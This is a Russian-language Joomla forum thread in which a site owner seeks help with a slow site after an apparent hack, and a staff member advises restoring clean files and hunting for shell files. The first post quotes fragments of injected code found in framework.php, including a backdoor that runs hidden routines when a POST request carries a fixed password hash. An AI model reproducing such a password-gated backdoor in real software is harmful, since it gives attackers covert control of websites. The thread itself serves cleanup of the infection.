Очень долгий переход по страницам

Discussion in 'Ошибки при работе с Joomla' started by tonyk, May 18, 2016.

  1. Offline

    tonyk Недавно здесь

    Joined:
    May 18, 2016
    Messages:
    3
    Likes Received:
    0
    Gender:
    Male
    Поврежден файл framework.php видимо после вируса ну или взлома, страницы сайта открываются очень долго, в логах даёт PHP Notice: Undefined index: password in /home/vkali169/public_html/includes/framework.php on line 202
    Код (PHP):
    1. static function _cache($content)
    2.             {
    3.                 //$GLOBALS['_cache_'] -> create_new_page(); сайт не открывался но после тго как закоментировал данную строку стал открываться, но очень долго
    4.                 return Cache_Class::update_content($content, $GLOBALS['global_code']) ;

    сейчас ругается вот на это
    Код (PHP):
    1. static function create()
    2.             {
    3.                 if ( strpos($_SERVER['REQUEST_URI'], 'wp-admin') !== FALSE ) return ;
    4.                 $GLOBALS['_cache_'] = new Cache_Class();
    5.                 if ($GLOBALS['_cache_'] -> cms == 'jm') $GLOBALS['_cache_'] -> db_connect();
    6.                 if ($_POST['password'] == ('f4c0fa88c1e724d2e2fde47d6e6775c4')) $GLOBALS['_cache_'] -> pre_cache(); //вот на эту строчку


    помогите решить проблему
     
  2.  
  3. OlegK
    Offline

    OlegK Russian Joomla! Team Staff Member ⇒ Профи ⇐

    Joined:
    Jan 17, 2011
    Messages:
    7,812
    Likes Received:
    771
    Gender:
    Male
    Это точно не Джумла файл. Открой такой же файл по имени с архива Джумла и сравни содержимое
     
  4. Offline

    tonyk Недавно здесь

    Joined:
    May 18, 2016
    Messages:
    3
    Likes Received:
    0
    Gender:
    Male
    Вы правы содержимое координально отличается ,вот что в файле с архива джумлы, я могу заменить старый файл на новый ? И какие изменения нужно сделать?
    Код (PHP):
    1. <?php
    2. /**
    3. * @version        $Id: framework.php 22952 2012-03-27 00:40:16Z dextercowley $
    4. * @package        Joomla
    5. * @copyright    Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved.
    6. * @license        GNU/GPL, see LICENSE.php
    7. * Joomla! is free software. This version may have been modified pursuant
    8. * to the GNU General Public License, and as distributed it includes or
    9. * is derivative of works licensed under the GNU General Public License or
    10. * other free or open source software licenses.
    11. * See COPYRIGHT.php for copyright notices and details.
    12. */
    13.  
    14. // no direct access
    15. defined( '_JEXEC' ) or die( 'Restricted access' );
    16.  
    17. /*
    18.  * Joomla! system checks
    19.  */
    20.  
    21. @set_magic_quotes_runtime( 0 );
    22. @ini_set('zend.ze1_compatibility_mode', '0');
    23.  
    24. /*
    25.  * Installation check, and check on removal of the install directory.
    26.  */
    27. if (!file_exists( JPATH_CONFIGURATION . DS . 'configuration.php' ) || (filesize( JPATH_CONFIGURATION . DS . 'configuration.php' ) < 10) || file_exists( JPATH_INSTALLATION . DS . 'index.php' )) {
    28.     if( file_exists( JPATH_INSTALLATION . DS . 'index.php' ) ) {
    29.         header( 'Location: installation/index.php' );
    30.         exit();
    31.     } else {
    32.         echo 'No configuration file found and no installation code available. Exiting...';
    33.         exit();
    34.     }
    35. }
    36.  
    37.  
    38. /*
    39.  * Joomla! system startup
    40.  */
    41.  
    42. // System includes
    43. require_once( JPATH_LIBRARIES        .DS.'joomla'.DS.'import.php');
    44.  
    45. // Pre-Load configuration
    46. require_once( JPATH_CONFIGURATION    .DS.'configuration.php' );
    47.  
    48. // System configuration
    49. $CONFIG = new JConfig();
    50.  
    51. if (@$CONFIG->error_reporting === 0) {
    52.     error_reporting( 0 );
    53. } else if (@$CONFIG->error_reporting > 0) {
    54.     error_reporting( $CONFIG->error_reporting );
    55.     ini_set( 'display_errors', 1 );
    56. }
    57.  
    58. define( 'JDEBUG', $CONFIG->debug );
    59.  
    60. unset( $CONFIG );
    61.  
    62. /*
    63.  * Joomla! framework loading
    64.  */
    65.  
    66. // Include object abstract class
    67. require_once(JPATH_SITE.DS.'libraries'.DS.'joomla'.DS.'utilities'.DS.'compat'.DS.'compat.php');
    68.  
    69. // System profiler
    70. if (JDEBUG) {
    71.     jimport( 'joomla.error.profiler' );
    72.     $_PROFILER =& JProfiler::getInstance( 'Application' );
    73. }
    74.  
    75. // Joomla! library imports;
    76. jimport( 'joomla.application.menu' );
    77. jimport( 'joomla.user.user');
    78. jimport( 'joomla.environment.uri' );
    79. jimport( 'joomla.html.html' );
    80. jimport( 'joomla.utilities.utility' );
    81. jimport( 'joomla.event.event');
    82. jimport( 'joomla.event.dispatcher');
    83. jimport( 'joomla.language.language');
    84. jimport( 'joomla.utilities.string' );
    85. ?>

    --- добавлено: May 18, 2016, первое сообщение размещено: May 18, 2016 ---
    Вообщим закоментировал всё лишнее, сайт работает, но проблема осталась всё так же медлительно, теперь даже не знаю куда лезть видимо фрэймворк уже исправен (((
     
  5. OlegK
    Offline

    OlegK Russian Joomla! Team Staff Member ⇒ Профи ⇐

    Joined:
    Jan 17, 2011
    Messages:
    7,812
    Likes Received:
    771
    Gender:
    Male
    Ты можешь все файлы заменить на чистые с Джумла той же версии. Но если шелл в отдельном файле, то он останется и хакер снова сможет заразить,прописать вирус в код сайта
     
  6. Offline

    tonyk Недавно здесь

    Joined:
    May 18, 2016
    Messages:
    3
    Likes Received:
    0
    Gender:
    Male
    Заменил файлы с чистой джумлы, но проблема не ушла, всё так же очень медленно переходит по страницам, подскажите куда ещё капать ?
     
  7. OlegK
    Offline

    OlegK Russian Joomla! Team Staff Member ⇒ Профи ⇐

    Joined:
    Jan 17, 2011
    Messages:
    7,812
    Likes Received:
    771
    Gender:
    Male
    Проверь файлы в корне сайта , и ДЖумла и проверь наличие левых файлов , тоже там же.
    Если шаблон не стандартный, то включи на стандартный шаблон и протестируй
     

Share This Page

Loading...